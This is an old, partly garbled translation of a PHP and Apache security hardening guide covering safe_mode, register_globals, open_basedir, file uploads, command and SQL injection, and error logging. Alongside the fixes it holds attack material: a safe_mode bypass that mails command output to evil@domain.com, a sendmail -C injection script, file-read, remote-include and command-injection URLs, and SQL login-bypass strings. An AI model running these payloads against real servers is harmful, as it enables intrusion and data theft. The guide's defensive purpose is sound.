Version: 0.02
1. Web server security
PHP is actually just a module function of the web server, so the security of the web server must be ensured first. Of course, in order for a web server to be secure, it must first ensure system security, which is a long way off. PHP can be combined with various web servers, and only Apache will be discussed here. It is highly recommended to install and start Apache in chroot mode. In this way, even if there are vulnerabilities in Apache, PHP and their scripts, only the restricted system will be affected and will not harm the actual system. However, using chrooted Apache will also bring certain troubles to the application. For example, when connecting to mysql, the 127.0.0.1 address must be used to connect using tcp instead of localhost for socket connection, which is slightly less efficient. There is also a problem with the mail function sending emails, because in php.ini:
[mail function]
; For Win32 only.
SMTP = localhost
; For Win32 only.
sendmail_from = me@localhost.com
are all for Win32 platform, so sendmail needs to be adjusted in the chroot environment.
2. Problems with PHP itself
1. Remote overflow
All versions below PHP-4.1.2 have a file upload remote buffer overflow vulnerability, and the attack program has Widely circulated, the success rate is very high:
http://packetstormsecurity.org/0204-exploits/7350fun
http://hsj.shadowpenguin.org/misc/php3018_exp.txt
2. Remote denial of service
PHP-4.2.0 and PHP-4.2.1 have a remote vulnerability in PHP multipart/form-data POST request processing. Although local user permissions cannot be obtained, it can also cause a denial of service.
3. safe_mode bypass vulnerability
There is also a PHP mail function bypassing safe_mode restriction execution command vulnerability in PHP-4.2.2 and below to PHP-4.0.5 version, version 4.0.5 The start mail function adds a fifth parameter. Due to the designer's inconsideration, the command can be executed beyond the limits of safe_mode. The breakthrough in version 4.0.5 is very simple. Just separate it with a semicolon and add the shell command. For example, there is a PHP script evil.php:
mail("foo@bar,"foo ","bar","",$bar); ?>
Execute the following URL:
http://foo.com/evil.php?bar=;/usr /bin/id|mail evil@domain.com
This sends the result of id execution to evil@domain.com
For PHP 4.0.6 to 4.2.2 to break the safe_mode limit. In fact, the -C parameter of sendmail is used, so the system must use sendmail. The following code can break through the safe_mode restriction and execute the command:
# Note that the following two must not exist. , or their owners are the same as the owners of this script
$script="/tmp/script123";
$cf="/tmp/cf123";
$fd = fopen($cf, "w");
fwrite($fd, "OQ/tmp
Sparse=0
R$*" . chr(9) . "$#local $@ $1 $: $1
Mlocal, P=/bin/sh, A=sh $script");
fclose($fd);
$fd = fopen($script, "w");
fwrite($fd, "rm -f $script $cf; ");
fwrite($fd, $cmd);
fclose($fd);
mail("nobody ", "", "", "", "-C$cf");
?>
Users who still use the above problematic version of PHP must upgrade to the latest version in time so that they can Eliminate basic security issues
3. Security configuration of PHP itself
PHP configuration is very flexible and can be configured through php.ini, httpd.conf, .htaccess files (this directory must be set) AllowOverride All or Options), you can also use ini_set() and other specific functions in the script. The values of the configuration options can be obtained through the phpinfo() and get_cfg_var() functions. If the configuration option is the only PHP_INI_SYSTEM attribute, it must be modified through php.ini and httpd.conf. They modify the PHP Master value, but after the modification, apache must be restarted to take effect. The options set in php.ini are effective for all scripts in the web server, and the options set in httpd.conf are effective for all scripts in the defined directory.
If there are other PHP_INI_USER, PHP_INI_PERDIR, PHP_INI_ALL attribute options, you can use the .htaccess file to set them, or you can use the ini_set() function in the script itself to set them. They modify the Local value. Change It will take effect immediately. However, .htaccess only takes effect for the script program in the current directory, and the ini_set() function only takes effect for the code after setting the ini_set() function for the script program. The option attributes of each version may be different. You can use the following command to find the main.c file of the current source code to get all the options and its attributes:
# grep PHP_INI_ /PHP_SRC/main/main.c
Before discussing PHP security configuration, you should have a good understanding of PHP's safe_mode mode.
1. safe_mode
safe_mode is the only PHP_INI_SYSTEM attribute and must be set through php.ini or httpd.conf. To enable safe_mode, just modify php.ini:
safe_mode = On
or modify httpd.conf to define the directory:
Options FollowSymLinks
php_admin_value safe_mode 1
Safe_mode will take effect after restarting apache. Enabling safe_mode will restrict many PHP functions, especially system-related file opening, command execution and other functions.
All functions that operate files will only operate files with the same UID as the script. For example, the content of the test.php script is:
The properties of several files are as follows:
# ls -la
total 13
drwxr-xr-x 2 root root 104 Jul 20 01:25 .
drwxr-xr -x 16 root root 384 Jul 18 12:02 ..
-rw-r--r-- 1 root root 4110 Oct 26 2002 index.html
-rw-r--r-- 1 www- data www-data 41 Jul 19 19:14 test.php
Requesting test.php in the browser will prompt the following error message:
Warning: SAFE MODE Restriction in effect. The script whose uid/gid is 33/33 is not allowed to access ./index.html owned by uid/gid 0/0 in /var/www/test.php on line 1
If the directory where the operated file is located The UID is the same as the script UID, so even if the UID of the file is different from the script, it can still be accessed. I don’t know if this is a vulnerability in PHP or if there is another hidden reason. Therefore, it is best for the user who is the owner of the php script to only use it for this purpose. It is absolutely forbidden to use root as the owner of the php script. This will not achieve the effect of safe_mode.
If you want to relax it to GID comparison, you can consider only comparing the GID of the file by turning on safe_mode_gid. You can set the following options:
safe_mode_gid = On
After setting safe_mode , all command execution functions will be restricted to execute programs in the directory specified by safe_mode_exec_dir in php.ini, and shell_exec and `ls -l` will be prohibited from executing commands. If you really need to call other programs, you can make the following settings in php.ini:
safe_mode_exec_dir = /usr/local/php/exec
Then copy the program to this directory, then the php script can Use system and other functions to execute the program. Moreover, shell scripts in this directory can still call system commands in other directories.
safe_mode_include_dir string
Bypass UID/GID checks when including files from this directory and its subdirectories (directories must be in include_path or included with full paths).
Starting with PHP 4.2.0, this directive can accept semicolon-delimited paths in a similar style to the include_path directive, instead of just a directory.
The limit specified by
is actually a prefix, not a directory name. This means that "safe_mode_include_dir = /dir/incl" will allow access to "/dir/include" and "/dir/incls" if they exist. If you wish to restrict access to a specific directory, add a trailing slash, for example: "safe_mode_include_dir = /dir/incl/".
safe_mode_allowed_env_vars string
Setting certain environment variables may be a potential security breach. This directive contains a comma separated list of prefixes. In safe mode, users can only change environment variables whose names have the prefix provided here. By default, users can only set environment variables starting with PHP_ (e.g. PHP_FOO = BAR).
Note: If this directive is empty, PHP will allow the user to modify any environment variable!
safe_mode_protected_env_vars string
This directive contains a comma-separated list of environment variables that end users cannot change using putenv(). These variables cannot be changed even when allowed modifications are set in safe_mode_allowed_env_vars.
Although safe_mode is not a panacea (lower versions of PHP can bypass it), it is still strongly recommended to turn on safe mode, which can avoid some unknown attacks to a certain extent. However, enabling safe_mode will have many restrictions, which may affect the application, so the code and configuration need to be adjusted to achieve harmony. For functions restricted or blocked by safe mode, please refer to the PHP manual.
After discussing safe_mode, let’s discuss how to avoid vulnerabilities through configuring the PHP server based on actual problems that may arise in the program code.
2. Variable abuse
PHP defaults to register_globals = On. Variables for GET, POST, Cookie, Environment, and Session can be directly registered as global variables. Their registration order is variables_order = "EGPCS" (can be modified through php.ini). The right side of variables_order with the same name covers the left side, so the abuse of variables can easily cause program confusion. Moreover, script programmers often do not have the habit of initializing variables. Program snippets like the following are extremely vulnerable to attacks:
//test_1.php
if ($pass == "hello")
$auth = 1;
if ($auth == 1)
echo "some important information";
else
echo "nothing";
?>
An attacker can bypass the check simply by making the following request:
http://victim/test_1.php?auth=1
This is true though It is a very weak mistake, but some famous programs have also made this mistake, such as phpnuke's remote file copy vulnerability: http://www.securityfocus.com/bid/3361
PHP-4.1. When 0 was released, it was recommended to turn off register_globals and provide 7 special array variables to use various variables. Variables from GET, POST, COOKIE, etc. are not directly registered as variables and must be accessed through array variables. When PHP-4.2.0 was released, the default configuration of php.ini was register_globals = Off. This allows the program to use the default value initialized by PHP itself, which is usually 0, preventing attackers from controlling the judgment variables.
Solution:
The configuration file php.ini sets register_globals = Off.
Requires the programmer to initialize a value for the judgment variable at the beginning of the program.
3. File opening
Extremely vulnerable code snippet:
//test_2.php
if (! ($str = readfile("$filename"))) {
echo("Could not open file: $filename
n");
exit;
}
else {
echo $str;
}
?>
Since the attacker can specify any $filename, the attacker can see /etc/passwd with the following request:
http://victim/test_2.php?filename=/etc/passwd
The following request can read the php file itself:
http://victim/test_2.php?filename= test_2.php
The file opening functions in PHP include fopen(), file(), etc. If the file name variable is not checked strictly, important files on the server will be accessed and read.
Solution:
Unless otherwise necessary, limit PHP file operations to the web directory. The following is an example of modifying the apache configuration file httpd.conf:
php_admin_value open_basedir /usr/local/apache/htdocs
Directory>
After restarting apache, the PHP script in the /usr/local/apache/htdocs directory can only operate files in its own directory, otherwise PHP will report an error:
Warning : open_basedir restriction in effect. File is in wrong directory in xxx on line xx.
Using safe_mode mode can also avoid this problem, which has been discussed earlier.
4. Include files
Extremely vulnerable code snippets:
//test_3.php
if(file_exists ($filename))
include("$filename");
?>
This kind of irresponsible code will cause considerable harm. An attacker can obtain/ etc/passwd file:
http://victim/test_3.php?filename=/etc/passwd
If for Unix version of PHP (Win version of PHP does not support remote opening of files) The attacker can create a file containing shell commands on the machine where the http or ftp service is enabled. For example, the content of http://attack/attack.txt is , Then the following request can execute the command ls /etc on the target host:
http://victim/test_3.php?filename=http://attack/attack.txt
attacker You can even get the code to execute the command by including apache's log files access.log and error.log. However, due to too much interference information, sometimes it is not easy to succeed.
For another form, the following code snippet:
//test_4.php
include("$lib/config.php");
?>
The attacker can create a config.php file containing the command execution code on his own host, and then use the following request to execute the command on the target host:
http:/ /victim/test_4.php?lib=http://attack
PHP’s include functions include include(), include_once(), require(), require_once. If the variable containing the file name is not checked strictly, it will cause serious danger to the system, and the command can be executed remotely.
Solution:
Require programmers to try not to use variables when including parameters in files. If variables are used, the file names to be included must be strictly checked and must not be specified arbitrarily by the user.
As mentioned above, restricting the PHP operation path when opening the file is a necessary option. In addition, unless otherwise necessary, be sure to turn off PHP's remote file opening function. Modify the php.ini file:
allow_url_fopen = Off
Restart apache.
5. File upload
php's file upload mechanism is to save the files uploaded by users in the temporary directory defined by upload_tmp_dir in php.ini (the default is the system's temporary directory, such as: /tmp ) in a random temporary file similar to phpxXuoXG. When the program execution ends, the temporary file is also deleted. PHP defines four variables for uploaded files: (For example, the form variable name is file, and register_globals is turned on)
$file #It is a temporary file saved to the server (such as /tmp/phpxXuoXG)
$ file_size #The size of the uploaded file
$file_name #The original name of the uploaded file
$file_type #The type of uploaded file
Recommended use:
$HTTP_POST_FILES['file'][ 'tmp_name']
$HTTP_POST_FILES['file']['size']
$HTTP_POST_FILES['file']['name']
$HTTP_POST_FILES['file']['type']
This is the simplest file upload code:
//test_5.php
if(isset($upload) && $file != "none") {
copy($file, "/usr/local/apache/htdocs/upload/".$file_name);
echo "File".$file_name." uploaded successfully! Click Continue uploading";
exit;
}
?>
< ;title>File upload
< ;body bgcolor="#FFFFFF">
Upload code like this has major problems with reading arbitrary files and executing commands.
The following request can copy the /etc/passwd document to the attack.txt file under the web directory /usr/local/apache/htdocs/test (note: this directory must be writable by no one):
http://victim/test_5.php?upload=1&file=/etc/passwd&file_name=attack.txt
Then the password file can be read with the following request:
http://victim /test/attack.txt
An attacker can copy the php file to other extensions and leak the script source code.
An attacker can customize the value of the file_name variable in the form and upload and overwrite any file with write permissions.
An attacker can also upload a PHP script to execute the host's commands.
Solution:
PHP-4.0.3 and later provides is_uploaded_file and move_uploaded_file functions, which can check whether the operated file is a file uploaded by the user, thus avoiding copying system files to the web directory.
Use the $HTTP_POST_FILES array to read the file variables uploaded by the user.
Strictly check upload variables. For example, php script files are not allowed.
Limiting PHP script operations to the web directory can prevent programmers from using the copy function to copy system files to the web directory. move_uploaded_file is not restricted by open_basedir, so there is no need to modify the value of upload_tmp_dir in php.ini.
Encrypt PHP scripts with phpencode to avoid source code leakage due to copy operations.
Strictly configure the permissions of files and directories, and only allow uploaded directories to be writable by the nobody user.
Removing the PHP interpretation function for the upload directory can be achieved by modifying httpd.conf:
php_flag engine off
#If Replace php3 with php3_engine off
Restart apache, and the php files in the upload directory cannot be interpreted by apache. Even if the php file is uploaded, there is no problem, and the source code can only be displayed directly.
6. Command execution
The following code snippet is extracted from PHPNetToolpack. For a detailed description, see:
http://www.securityfocus.com/bid/4303
//test_6.php
system("traceroute $a_query",$ret_strs);
?>
Because the program does not filter $a_query variable, so the attacker can use semicolons to append execution commands.
An attacker can execute the cat /etc/passwd command by entering the following request:
http://victim/test_6.php?a_query=www.example.com;cat /etc/passwd
PHP’s command execution functions include system(), passthru(), popen() and `` etc. The command execution function is very dangerous, so use it with caution. If you want to use it, you must strictly check user input.
Solution:
Require programmers to use the escapeshellcmd() function to filter shell commands entered by users.
Enabling safe_mode can eliminate many problems in executing commands, but please note that the version of PHP must be the latest. Versions smaller than PHP-4.2.2 may bypass the restrictions of safe_mode to execute commands.
7. sql_inject
The following SQL statement will have problems if the variables are not processed:
select * from login where user='$user' and pass= '$pass'
An attacker can enter 1' or 1='1 for both username and password to bypass verification.
Thankfully, PHP has a default option magic_quotes_gpc = On, which automatically adds addslashes() operations to variables from GET, POST, and COOKIE. The above SQL statement becomes:
select * from login where user='1' or 1='1' and pass='1' or 1='1'
Thereby avoiding This type of sql_inject attack.
For numeric type fields, many programmers will write like this:
select * from test where id=$id
Since the variable is not enclosed in single quotes, it Will cause sql_inject attack. Fortunately, MySQL has simple functions. No database such as sqlserver has SQL statements for executing commands, and PHP's mysql_query() function only allows the execution of one SQL statement, so attacks using semicolons to separate multiple SQL statements will not work. But the attacker can at least make the query statement wrong, leak some information about the system, or cause some unexpected situations.
Solution:
Require programmers to filter all variables submitted by users to be put into SQL statements.
Even if it is a numeric field, the variable must be enclosed in single quotes, and MySQL will process the string into a number.
In MySQL, do not give users with high-level permissions to the PHP program and only allow operations on their own libraries. This also avoids attacks such as SELECT INTO OUTFILE... when there is a problem with the program.
8. Warnings and error messages
PHP displays all warning and error messages by default:
error_reporting = E_ALL & ~E_NOTICE
display_errors = On
This is very useful during normal development and debugging. You can immediately find the program error based on the warning message.
When officially applied, the warning and error messages overwhelmed the user, and leaked the physical path of the script to the attacker, providing the attacker with beneficial information for further attacks. And because I did not access the wrong place, I was unable to correct the program error in time. Therefore, it is very wise to record all warning and error information of PHP to a log file, so as not to leak the physical path to the attacker, but also to let yourself know where the program errors are.
Modify the Error handling and logging part of php.ini:
error_reporting = E_ALL
display_errors = Off
log_errors = On
error_log = /usr/local/ apache/logs/php_error.log
Then restart apache. Note that the file /usr/local/apache/logs/php_error.log must be writable by the nobody user.
9. disable_functions
If you feel that some functions are still threatening, you can set disable_functions in php.ini (this option cannot be set in httpd.conf), such as:
disable_functions = phpinfo, get_cfg_var
You can specify multiple functions, separated by commas. After restarting apache, the phpinfo and get_cfg_var functions are disabled. It is recommended to close the functions phpinfo and get_cfg_var. These two functions easily leak server information and are of no practical use.
10. disable_classes
This option is only available starting from PHP-4.3.2. It can disable certain classes. If there are multiple class names, separate them with commas. disable_classes cannot be set in httpd.conf and can only be modified in the php.ini configuration file.
11. open_basedir
When analyzing the routine earlier, I also mentioned using open_basedir to limit the script operation path many times. Here we will introduce its characteristics. The restrictions specified with open_basedir are actually prefixes, not directory names. This means "open_basedir = /dir/incl" will also allow access to "/dir/include" and "/dir/incls" if they exist. If you want to restrict access to only the specified directory, end the pathname with a slash. For example: "open_basedir = /dir/incl/".
You can set multiple directories. In Windows, use semicolons to separate directories. Use colons to separate directories on any other system. When used as an Apache module, the open_basedir path in the parent directory is automatically inherited.
4. Other security configurations
1. Cancel other users’ read, write, and execute permissions on commonly used and important system commands
General administrator maintenance requires only one ordinary user and management Users, in addition to these two users, should give other users the ability to execute and access as few things as possible. Therefore, canceling other users' read, write, and execution permissions for commonly used and important system commands can give attackers the opportunity to perform vulnerabilities in programs or services. Causes great confusion.Remember to remove the read permission, otherwise you can use /lib/ld-linux.so.2 /bin/ls to execute under Linux.
If you want to cancel a process in a chroot environment, this task is easier to achieve. Otherwise, this task is still somewhat challenging. Because canceling the execution permissions of some programs will cause some services to run abnormally. PHP's mail function requires /bin/sh to call sendmail to send letters, so the execution permission of /bin/bash cannot be removed. This is a tiring job.
2. Remove the read permission of other users from the apache log
apache’s access-log provides a convenient door for some programs that contain local vulnerabilities. . By submitting a URL containing PHP code, you can make access-log contain PHP code, then point the include file to access-log to execute those PHP codes and gain local access.
If there are other virtual hosts, the read permissions of other users on the log file should also be removed accordingly.
Of course, if you configure PHP as described above, you will generally be unable to read the log file.
References:
History:
0.02 - I want to maintain this document well. Since it has been a long time, I have made many modifications
0.01 - Initial version